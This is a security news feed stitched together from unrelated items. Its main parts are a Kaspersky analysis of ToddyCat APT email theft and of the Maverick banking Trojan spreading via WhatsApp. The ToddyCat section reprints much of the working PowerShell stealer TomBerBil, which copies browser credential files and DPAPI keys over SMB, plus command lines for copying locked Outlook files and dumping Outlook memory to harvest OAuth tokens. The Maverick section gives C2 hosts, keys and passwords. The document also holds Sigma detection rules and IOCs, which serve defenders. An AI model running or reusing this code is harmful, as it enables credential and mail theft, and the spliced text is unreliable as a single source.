A threat group dubbed ShadyPanda exploited traditional extension processes in browser marketplaces by uploading legitimate extensions and then quietly weaponization them with malicious updates, infecting 4.3 million Chrome and Edge users with RCE malware and spyware.
The post ShadyPanda’s Years-Long Browser Hack Infected 4.3 Million Users appeared first on Security Boulevard.
Email remains the main means of business correspondence at organizations. It can be set up either using on-premises infrastructure (for example, by deploying Microsoft Exchange Server) or through cloud mail services such as Microsoft 365 or Gmail. However, some organizations do not provide domain-level access to their cloud email. As a result, attackers who have compromised the domain do not automatically gain access to email correspondence and must resort to additional techniques to read it.
This research describes how ToddyCat APT evolved its methods to gain covert access to the business correspondence of employees at target companies. In the first part, we review the incidents that occurred in the second half of 2024 and early 2025. In the second part of the report, we focus in detail on how the attackers implemented a new attack vector as a result of their efforts. This attack enables the adversary to leverage the user’s browser to obtain OAuth 2.0 authorization tokens. These tokens can then be utilized outside the perimeter of the compromised infrastructure to access corporate email.
Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.
In a previous post on the ToddyCat group, we described the TomBerBil family of tools, which are designed to extract cookies and saved passwords from browsers on user hosts. These tools were written in C# and C++.
Yet, analysis of incidents from May to June 2024 revealed a new variant implemented in PowerShell. It retained the core malicious functionality of the previous samples but employed a different implementation approach and incorporated new commands.
A key feature of this version is that it was executed on domain controllers on behalf of a privileged user, accessing browser files via shared network resources using the SMB protocol.
Besides supporting the Chrome and Edge browsers, the new version also added processing for Firefox browser files.
The tool was launched using a scheduled task that executed the following command line:
powershell -exec bypass -command "c:\programdata\ip445.ps1"
The script begins by creating a new local directory, which is specified in the $baseDir variable. The tool saves all data it collects into this directory.
Login
$baseDir = 'c:\programdata\temp\'
try{
New-Item -ItemType directory -Path $baseDir | Out-Null
}catch{
}
The script defines a function named parseFile, which accepts the full file path as a parameter. It opens the C:\programdata\uhosts.txt file and reads its content line by line using .NET Framework classes, returning the result as a string array. This is how the script forms an array of host names.
function parseFile{
param(
[string]$fileName
)
$fileReader=[System.IO.File]::OpenText($fileName)
while(($line = $fileReader.ReadLine()) -ne $null){
try{
$line.trim()
}
catch{
}
}
$fileReader.close()
}
For each host in the array, the script attempts to establish an SMB connection to the shared resource c$, constructing the path in the \\\c$\users\ format. If the connection is successful, the tool retrieves a list of user directories present on the remote host. If at least one directory is found, a separate folder is created for that host within the $baseDir working directory:
foreach($myhost in parseFile('c:\programdata\uhosts.txt')){
$myhost=$myhost.TrimEnd()
$open=$false
$cpath = "\\{0}\c$\users\" -f $myhost
$items = @(get-childitem $cpath -Force -ErrorAction SilentlyContinue)
$lpath = $baseDir + $myhost
try{
New-Item -ItemType directory -Path $lpath | Out-Null
}catch{
}
In the next stage, the script iterates through the user folders discovered on the remote host, skipping any folders specified in the $filter_users variable, which is defined upon launching the tool. For the remaining folders, three directories are created in the script’s working folder for collecting data from Google Chrome, Mozilla Firefox, and Microsoft Edge.
$filter_users = @('public','all users','default','default user','desktop.ini','.net v4.5','.net v4.5 classic')
foreach($item in $items){
$username = $item.Name
if($filter_users -contains $username.tolower()){
continue
}
$upath = $lpath + '\' + $username
try{
New-Item -ItemType directory -Path $upath | Out-Null
New-Item -ItemType directory -Path ($upath + '\google') | Out-Null
New-Item -ItemType directory -Path ($upath + '\firefox') | Out-Null
New-Item -ItemType directory -Path ($upath + '\edge') | Out-Null
}catch{
}Next, the tool uses the default account to search for the following Chrome and Edge browser files on the remote host:
These files are copied via SMB to the local folder within the corresponding user and browser folder hierarchy. Below is a code snippet that copies the Login Data file:
$googlepath = $upath + '\google\'
$firefoxpath = $upath + '\firefox\'
$edgepath = $upath + '\edge\'
$loginDataPath = $item.FullName + "\AppData\Local\Google\Chrome\User Data\Default\Login Data"
if(test-path -path $loginDataPath){
$dstFileName = "{0}\{1}" -f $googlepath,'Login Data'
copy-item -Force -Path $loginDataPath -Destination $dstFileName | Out-Null
}
The same procedure is applied to Firefox files, with the tool additionally traversing through all the user profile folders of the browser. Instead of the files described above for Chrome and Edge, the script searches for files which have names from the $firefox_files array that contain similar information. The requested files are also copied to the tool’s local folder.
$firefox_files = @('key3.db','signons.sqlite','key4.db','logins.json')
$firefoxBase = $item.FullName + '\AppData\Roaming\Mozilla\Firefox\Profiles'
if(test-path -path $firefoxBase){
$profiles = @(get-childitem $firefoxBase -Force -ErrorAction SilentlyContinue)
foreach($profile in $profiles){
if(!(test-path -path ($firefoxpath + '\' + $profile.Name))){
New-Item -ItemType directory -Path ($firefoxpath + '\' + $profile.Name) | Out-Null
}
foreach($firefox_file in $firefox_files){
$tmpPath = $firefoxBase + '\' + $profile.Name + '\' + $firefox_file
if(test-path -Path $tmpPath){
$dstFileName = "{0}\{1}\{2}" -f $firefoxpath,$profile.Name,$firefox_file
copy-item -Force -Path $tmpPath -Destination $dstFileName | Out-Null
}
}
}
}The copied files are encrypted using the Data Protection API (DPAPI). The previous version of TomBerBil ran on the host and copied the user’s token. As a result, in the user’s current session DPAPI was used to decrypt the master key, and subsequently, the files. The updated server-side version of TomBerBil copies files containing the user encryption keys that are used by DPAPI. These keys, combined with the user’s SID and password, grant the attackers the ability to decrypt all the copied files locally.
if(test-path -path ($item.FullName + '\AppData\Roaming\Microsoft\Protect')){
copy-item -Recurse -Force -Path ($item.FullName + '\AppData\Roaming\Microsoft\Protect') -Destination ($upath + '\') | Out-Null
}
if(test-path -path ($item.FullName + '\AppData\Local\Microsoft\Credentials')){
copy-item -Recurse -Force -Path ($item.FullName + '\AppData\Local\Microsoft\Credentials') -Destination ($upath + '\') | Out-Null
}With TomBerBil, the attackers automatically collected user cookies, browsing history, and saved passwords, while simultaneously copying the encryption keys needed to decrypt the browser files. The connection to the victim’s remote hosts was established via the SMB protocol, which significantly complicated the detection of the tool’s activity.
TomBerBil in PowerShell
As a rule, such tools are deployed at later stages, after the adversary has established persistence within the organization’s internal infrastructure and obtained privileged access.
To detect the implementation of this attack, it’s necessary to set up auditing for access to browser folders and to monitor network protocol connection attempts to those folders.
title: Access To Sensitive Browser Files Via Smb
id: 9ac86f68-9c01-4c9d-897a-4709256c4c7b
status: experimental
description: Detects remote access attempts to browser files containing sensitive information
author: Kaspersky
date: 2025-08-11
tags:
- attack.credential-access
- attack.t1555.003
logsource:
product: windows
service: security
detection:
event:
EventID: '5145'
chromium_files:
ShareLocalPath|endswith:
- '\User Data\Default\History'
- '\User Data\Default\Network\Cookies'
- '\User Data\Default\Login Data'
- '\User Data\Local State'
firefox_path:
ShareLocalPath|contains: '\AppData\Roaming\Mozilla\Firefox\Profiles'
firefox_files:
ShareLocalPath|endswith:
- 'key3.db'
- 'signons.sqlite'
- 'key4.db'
- 'logins.json'
condition: event and (chromium_files or firefox_path and firefox_files)
falsepositives: Legitimate activity
level: mediumIn addition, auditing for access to the folders storing the DPAPI encryption key files is also required.
title: Access To System Master Keys Via Smb
id: ba712364-cb99-4eac-a012-7fc86d040a4a
status: experimental
description: Detects remote access attempts to the Protect file, which stores DPAPI master keys
references:
- https://www.synacktiv.com/en/publications/windows-secrets-extraction-a-summary
author: Kaspersky
date: 2025-08-11
tags:
- attack.credential-access
- attack.t1555
logsource:
product: windows
service: security
detection:
selection:
EventID: '5145'
ShareLocalPath|contains: 'windows\System32\Microsoft\Protect'
condition: selection
falsepositives: Legitimate activity
level: medium
The modified TomBerBil tool family proved ineffective at evading monitoring tools, compelling the threat actor to seek alternative methods for accessing the organization’s critical data. We discovered an attempt to gain access to corporate correspondence files in the local Outlook storage.
The Outlook application stores OST (Offline Storage Table) files for offline use. The names of these files contain the address of the mailbox being cached. Outlook uses OST files to store a local copy of data synchronized with mail servers: Microsoft Exchange, Microsoft 365, or Outlook.com. This capability allows users to work with emails, calendars, contacts, and other data offline, then synchronize changes with the server once the connection is restored.
However, access to an OST file is blocked by the application while Outlook is running. To copy the file, the attackers created a specialized tool called TCSectorCopy.
This tool is designed for block-by-block copying of files that may be inaccessible by applications or the operating system, such as files that are locked while in use.
The tool is a 32-bit PE file written in C++. After launch, it processes parameters passed via the command line: the path to the source file to be copied and the path where the result should be saved. The tool then validates that the source path is not identical to the destination path.
Validating the TCSectorCopy command line parameters
Next, the tool gathers information about the disk hosting the file to be copied: it determines the cluster size, file system type, and other parameters necessary for low-level reading.
Determining the disk’s file system type
TCSectorCopy then opens the disk as a device in read-only mode and sequentially copies the file content block by block, bypassing the standard Windows API. This allows the tool to copy even the files that are locked by the system or other applications.
The adversary uploaded this tool to target host and used it to copy user OST files:
xCopy.exe C:\Users\<user>\AppData\Local\Microsoft\Outlook\<email>@<domain>.ost <email>@<domain>.ost2
Having obtained the OST files, the attackers processed them using a separate tool to extract the email correspondence content.
XstReader is an open-source C# tool for viewing and exporting the content of Microsoft Outlook OST and PST files. The attackers used XstReader to export the content of the previously copied OST files.
XstReader is executed with the -e parameter and the path to the copied file. The -e parameter specifies the export of all messages and their attachments to the current folder in the HTML, RTF, and TXT formats.
XstExport.exe -e <email>@<domain>.ost2
After exporting the data from the OST file, the attackers review the list of obtained files, collect those of interest into an archive, and exfiltrate it.
Stealing data with TCSectorCopy and XstReader
To detect unauthorized access to Outlook OST files, it’s necessary to set up auditing for the %LOCALAPPDATA%\Microsoft\Outlook\ folder and monitor access events for files with the .ost extension. The Outlook process and other processes legitimately using this file must be excluded from the audit.
title: Access To Outlook Ost Files
id: 2e6c1918-08ef-4494-be45-0c7bce755dfc
status: experimental
description: Detects access to the Outlook Offline Storage Table (OST) file
author: Kaspersky
date: 2025-08-11
tags:
- attack.collection
- attack.t1114.001
logsource:
product: windows
service: security
detection:
event:
EventID: 4663
outlook_path:
ObjectName|contains: '\AppData\Local\Microsoft\Outlook\'
ost_file:
ObjectName|endswith: '.ost'
condition: event and outlook_path and ost_file
falsepositives: Legitimate activity
level: lowThe TCSectorCopy tool accesses the OST file via the disk device, so to detect it, it’s important to monitor events such as Event ID 9 (RawAccessRead) in Sysmon. These events indicate reading directly from the disk, bypassing the file system.
As we mentioned earlier, TCSectorCopy receives the path to the OST file via a command line. Consequently, detecting this tool’s malicious activity requires monitoring for a specific OST file naming pattern: the @ symbol and the .ost extension in the file name.
Example of detecting TCSectorCopy activity in KATA
Since active file collection actions on a host are easily tracked using monitoring systems, the attackers’ next step was gaining access to email outside the hosts where monitoring was being performed. Some target organizations used the Microsoft 365 cloud office suite. The attackers attempted to obtain the access token that resides in the memory of processes utilizing this cloud service.
In the OAuth 2.0 protocol, which Microsoft 365 uses for authorization, the access token is used when requesting resources from the server. In Outlook, it is specified in API requests to the cloud service to retrieve emails along with attachments. Its disadvantage is its relatively short lifespan; however, this can be enough to retrieve all emails from a mailbox while bypassing monitoring tools.
The access token is stored using the JWT (JSON Web Tokens) standard. The token content is encoded using Base64. JWT headers for Microsoft applications always specify the typ parameter with the JWT value first. This means that the first 18 characters of the encoded token will always be the same.
The attackers used SharpTokenFinder to obtain the access token from the user’s Outlook application. This tool is written in C# and designed to search for an access token in processes associated with the Microsoft 365 suite. After launch, the tool searches the system for the following processes:
If these processes are found, the tool attempts to open each process’s object using the OpenProcess function and dump their memory. To do this, the tool imports the MiniDumpWriteDump function from the dbghelp.dll file, which writes user mode minidump information to the specified file. The dump files are saved in the dump folder, located in the current SharpTokenFinder directory. After creating dump files for the processes, the tool searches for the following string pattern in each of them:
"eyJ0eX[a-zA-Z0-9\\._\\-]+"
This template uses the first six symbols of the encoded JWT token, which are always the same. Its structures are separated by dots. This is sufficient to find the necessary string in the process memory dump.
Example of a JWT Token
In the incident being described, the local security tools (EPP) blocked the attempt to create the OUTLOOK.exe process dump using SharpTokenFinder, so the operator used ProcDump from the Sysinternals suite for this purpose:
procdump64.exe -accepteula -ma OUTLOOK.exe dir c:\windows\temp\OUTLOOK.EXE_<id>.dmp c:\progra~1\winrar\rar.exe a -k -r -s -m5 -v100M %temp%\dmp.rar c:\windows\temp\OUTLOOK.EXE_<id>.dmp
Here, the operator executed ProcDump with the following parameters:
accepteula silently accepts the license agreement without displaying the agreement window.ma indicates that a full process dump should be created.exe is the name of the process to be dumped.The dir command is then executed as a check to confirm that the file was created and is not zero size. Following this validation, the file is added to a dmp.rar archive using WinRAR. The attackers sent this file to their host via SMB.
To detect this technique, it’s necessary to monitor the ProcDump process command line for names belonging to Microsoft 365 application processes.
title: Dump Of Office 365 Processes Using Procdump
id: 5ce97d80-c943-4ac7-8caf-92bb99e90e90
status: experimental
description: Detects Office 365 process names in the command line of the procdump tool
author: kaspersky
date: 2025-08-11
tags:
- attack.lateral-movement
- attack.defense-evasion
- attack.t1550.001
logsource:
category: process_creation
product: windows
detection:
selection:
Product: 'ProcDump'
CommandLine|contains:
- 'teams'
- 'winword'
- 'onenote'
- 'powerpnt'
- 'outlook'
- 'excel'
- 'onedrive'
- 'sharepoint'
condition: selection
falsepositives: Legitimate activity
level: highBelow is an example of the ProcDump tool from the Sysinternals package used to dump the Outlook process memory, detected by Kaspersky Anti Targeted Attack (KATA).
Example of Outlook process dump detection in KATA
The incidents reviewed in this article show that ToddyCat APT is constantly evolving its techniques and seeking new ways to conceal its activity aimed at gaining access to corporate correspondence within compromised infrastructure. Most of the techniques described here can be successfully detected. For timely identification of these techniques, we recommend using both host-based EPP solutions, such as Kaspersky Endpoint Security for Business, and complex threat monitoring systems, such as Kaspersky Anti Targeted Attack. For comprehensive, up-to-date information on threats and corresponding detection rules, we recommend Kaspersky Threat Intelligence.
Malicious files
55092E1DEA3834ABDE5367D79E50079A ip445.ps1
2320377D4F68081DA7F39F9AF83F04A2 xCopy.exe
B9FDAD18186F363C3665A6F54D51D3A0 stf.exe
Not-a-virus files
49584BD915DD322C3D84F2794BB3B950 XstExport.exe
File paths
C:\programdata\ip445.ps1
C:\Windows\Temp\xCopy.exe
C:\Windows\Temp\XstExport.exe
c:\windows\temp\stf.exe
PDB
O:\Projects\Penetration\Tools\SectorCopy\Release\SectorCopy.pdb
Microsoft recently announced changes to the Internet Explorer mode in Edge browsers, citing zero-day exploits…
Microsoft Limits IE Mode In Edge Browser Citing Zero-Day Exploits on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
A malware campaign was recently detected in Brazil, distributing a malicious LNK file using WhatsApp. It targets mainly Brazilians and uses Portuguese-named URLs. To evade detection, the command-and-control (C2) server verifies each download to ensure it originates from the malware itself.
The whole infection chain is complex and fully fileless, and by the end, it will deliver a new banking Trojan named Maverick, which contains many code overlaps with Coyote. In this blog post, we detail the entire infection chain, encryption algorithm, and its targets, as well as discuss the similarities with known threats.
The infection chain works according to the diagram below:
The infection begins when the victim receives a malicious .LNK file inside a ZIP archive via a WhatsApp message. The filename can be generic, or it can pretend to be from a bank:
The message said, “Visualization allowed only in computers. In case you’re using the Chrome browser, choose “keep file” because it’s a zipped file”.
The LNK is encoded to execute cmd.exe with the following arguments:
The decoded commands point to the execution of a PowerShell script:
The command will contact the C2 to download another PowerShell script. It is important to note that the C2 also validates the “User-Agent” of the HTTP request to ensure that it is coming from the PowerShell command. This is why, without the correct “User-Agent”, the C2 returns an HTTP 401 code.
The entry script is used to decode an embedded .NET file, and all of this occurs only in memory. The .NET file is decoded by dividing each byte by a specific value; in the script above, the value is “174”. The PE file is decoded and is then loaded as a .NET assembly within the PowerShell process, making the entire infection fileless, that is, without files on disk.
The initial .NET loader is heavily obfuscated using Control Flow Flattening and indirect function calls, storing them in a large vector of functions and calling them from there. In addition to obfuscation, it also uses random method and variable names to hinder analysis. Nevertheless, after our analysis, we were able to reconstruct (to a certain extent) its main flow, which consists of downloading and decrypting two payloads.
The obfuscation does not hide the method’s variable names, which means it is possible to reconstruct the function easily if the same function is reused elsewhere. Most of the functions used in this initial stage are the same ones used in the final stage of the banking Trojan, which is not obfuscated. The sole purpose of this stage is to download two encrypted shellcodes from the C2. To request them, an API exposed by the C2 on the “/api/v1/” routes will be used. The requested URL is as follows:
To communicate with its API, it sends the API key in the “X-Request-Headers” field of the HTTP request header. The API key used is calculated locally using the following algorithm:
The HMAC is used to sign messages with a specific key; in this case, the threat actor uses it to generate the “API Key” using the HMAC key “MaverickZapBot2025SecretKey12345”. The signed data sent to the C2 is “3d045ada0df942c983635e|1759847631|MaverickBot”, where each segment is separated by “|”. The first segment refers to the specific resource requested (the first encrypted shellcode), the second is the infection’s timestamp, and the last, “MaverickBot”, indicates that this C2 protocol may be used in future campaigns with different variants of this threat. This ensures that tools like “wget” or HTTP downloaders cannot download this stage, only the malware.
Upon response, the encrypted shellcode is a loader using Donut. At this point, the initial loader will start and follow two different execution paths: another loader for its WhatsApp infector and the final payload, which we call “MaverickBanker”. Each Donut shellcode embeds a .NET executable. The shellcode is encrypted using a XOR implementation, where the key is stored in the last bytes of the binary returned by the C2. The algorithm to decrypt the shellcode is as follows:
After the second Donut shellcode is decrypted and started, it will load another downloader using the same obfuscation method as the previous one. It behaves similarly, but this time it will download a PE file instead of a Donut shellcode. This PE file is another .NET assembly that will be loaded into the process as a module.
One of the namespaces used by this .NET executable is named “Maverick.StageOne,” which is considered by the attacker to be the first one to be loaded. This download stage is used exclusively to download the WhatsApp infector in the same way as the previous stage. The main difference is that this time, it is not an encrypted Donut shellcode, but another .NET executable—the WhatsApp infector—which will be used to hijack the victim’s account and use it to spam their contacts in order to spread itself.
This module, which is also obfuscated, is the WhatsApp infector and represents the final payload in the infection chain. It includes a script from WPPConnect, an open-source WhatsApp automation project, as well as the Selenium browser executable, used for web automation.
The executable’s namespace name is “ZAP”, a very common word in Brazil to refer to WhatsApp. These files use almost the same obfuscation techniques as the previous examples, but the method’s variable names remain in the source code. The main behavior of this stage is to locate the WhatsApp window in the browser and use WPPConnect to instrument it, causing the infected victim to send messages to their contacts and thus spread again. The file sent depends on the “MaverickBot” executable, which will be discussed in the next section.
The Maverick Banker comes from a different execution branch than the WhatsApp infector; it is the result of the second Donut shellcode. There are no additional download steps to execute it. This is the main payload of this campaign and is embedded within another encrypted executable named “Maverick Agent,” which performs extended activities on the machine, such as contacting the C2 and keylogging. It is described in the next section.
Upon the initial loading of Maverick Banker, it will attempt to register persistence using the startup folder. At this point, if persistence does not exist, by checking for the existence of a .bat file in the “Startup” directory, it will not only check for the file’s existence but also perform a pattern match to see if the string “for %%” is present, which is part of the initial loading process. If such a file does not exist, it will generate a new “GUID” and remove the first 6 characters. The persistence batch script will then be stored as:
Next, it will generate the bat command using the hardcoded URL, which in this case is:
In the command generation function, it is possible to see the creation of an entirely new obfuscated PowerShell script.
First, it will create a variable named “$URL” and assign it the content passed as a parameter, create a “Net.WebClient” object, and call the “DownloadString.Invoke($URL)” function. Immediately after creating these small commands, it will encode them in base64. In general, the script will create a full obfuscation using functions to automatically and randomly generate blocks in PowerShell. The persistence script reassembles the initial LNK file used to start the infection.
This persistence mechanism seems a bit strange at first glance, as it always depends on the C2 being online. However, it is in fact clever, since the malware would not work without the C2. Thus, saving only the bootstrap .bat file ensures that the entire infection remains in memory. If persistence is achieved, it will start its true function, which is mainly to monitor browsers to check if they open banking pages.
The browsers running on the machine are checked for possible domains accessed on the victim’s machine to verify the web page visited by the victim. The program will use the current foreground window (window in focus) and its PID; with the PID, it will extract the process name. Monitoring will only continue if the victim is using one of the following browsers:
* Chrome
* Firefox
* MS Edge
* Brave
* Internet Explorer
* Specific bank web browser
If any browser from the list above is running, the malware will use UI Automation to extract the title of the currently open tab and use this information with a predefined list of target online banking sites to determine whether to perform any action on them. The list of target banks is compressed with gzip, encrypted using AES-256, and stored as a base64 string. The AES initialization vector (IV) is stored in the first 16 bytes of the decoded base64 data, and the key is stored in the next 32 bytes. The actual encrypted data begins at offset 48.
This encryption mechanism is the same one used by Coyote, a banking Trojan also written in .NET and documented by us in early 2024.
If any of these banks are found, the program will decrypt another PE file using the same algorithm described in the .NET Loader section of this report and will load it as an assembly, calling its entry point with the name of the open bank as an argument. This new PE is called “Maverick.Agent” and contains most of the banking logic for contacting the C2 and extracting data with it.
The agent is the binary that will do most of the banker’s work; it will first check if it is running on a machine located in Brazil. To do this, it will check the following constraints:
What each of them does is:
Right after the check, it will enable appropriate DPI support for the operating system and monitor type, ensuring that images are sharp, fit the correct scale (screen zoom), and work well on multiple monitors with different resolutions. Then, it will check for any running persistence, previously created in “C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\”. If more than one file is found, it will delete the others based on “GetCreationTime” and keep only the most recently created one.
Communication uses the WatsonTCP library with SSL tunnels. It utilizes a local encrypted X509 certificate to protect the communication, which is another similarity to the Coyote malware. The connection is made to the host “casadecampoamazonas.com” on port 443. The certificate is exported as encrypted, and the password used to decrypt it is Maverick2025!. After the certificate is decrypted, the client will connect to the server.
For the C2 to work, a specific password must be sent during the first contact. The password used by the agent is “101593a51d9c40fc8ec162d67504e221”. Using this password during the first connection will successfully authenticate the agent with the C2, and it will be ready to receive commands from the operator. The important commands are:
| Command | Description |
| INFOCLIENT | Returns the information of the agent, which is used to identify it on the C2. The information used is described in the next section. |
| RECONNECT | Disconnect, sleep for a few seconds, and reconnect again to the C2. |
| REBOOT | Reboot the machine |
| KILLAPPLICATION | Exit the malware process |
| SCREENSHOT | Take a screenshot and send it to C2, compressed with gzip |
| KEYLOGGER | Enable the keylogger, capture all locally, and send only when the server specifically requests the logs |
| MOUSECLICK | Do a mouse click, used for the remote connection |
| KEYBOARDONECHAR | Press one char, used for the remote connection |
| KEYBOARDMULTIPLESCHARS | Send multiple characters used for the remote connection |
| TOOGLEDESKTOP | Enable remote connection and send multiple screenshots to the machine when they change (it computes a hash of each screenshot to ensure it is not the same image) |
| TOOGLEINTERN | Get a screenshot of a specific window |
| GENERATEWINDOWLOCKED | Lock the screen using one of the banks’ home pages. |
| LISTALLHANDLESOPENEDS | Send all open handles to the server |
| KILLPROCESS | Kill some process by using its handle |
| CLOSEHANDLE | Close a handle |
| MINIMIZEHANDLE | Minimize a window using its handle |
| MAXIMIZEHANDLE | Maximize a window using its handle |
| GENERATEWINDOWREQUEST | Generate a phishing window asking for the victim’s credentials used by banks |
| CANCELSCREENREQUEST | Disable the phishing window |
Agent profile info
In the “INFOCLIENT” command, the information sent to the C2 is as follows:
According to our telemetry, all victims were in Brazil, but the Trojan has the potential to spread to other countries, as an infected victim can send it to another location. Even so, the malware is designed to target only Brazilians at the moment.
It is evident that this threat is very sophisticated and complex; the entire execution chain is relatively new, but the final payload has many code overlaps and similarities with the Coyote banking Trojan, which we documented in 2024. However, some of the techniques are not exclusive to Coyote and have been observed in other low-profile banking Trojans written in .NET. The agent’s structure is also different from how Coyote operated; it did not use this architecture before.
It is very likely that Maverick is a new banking Trojan using shared code from Coyote, which may indicate that the developers of Coyote have completely refactored and rewritten a large part of their components.
This is one of the most complex infection chains we have ever detected, designed to load a banking Trojan. It has infected many people in Brazil, and its worm-like nature allows it to spread exponentially by exploiting a very popular instant messenger. The impact is enormous. Furthermore, it demonstrates the use of AI in the code-writing process, specifically in certificate decryption, which may also indicate the involvement of AI in the overall code development. Maverick works like any other banking Trojan, but the worrying aspects are its delivery method and its significant impact.
We have detected the entire infection chain since day one, preventing victim infection from the initial LNK file. Kaspersky products detect this threat with the verdict HEUR:Trojan.Multi.Powenot.a and HEUR:Trojan-Banker.MSIL.Maverick.gen.
| Dominio | IP | ASN |
| casadecampoamazonas[.]com | 181.41.201.184 | 212238 |
| sorvetenopote[.]com | 77.111.101.169 | 396356 |
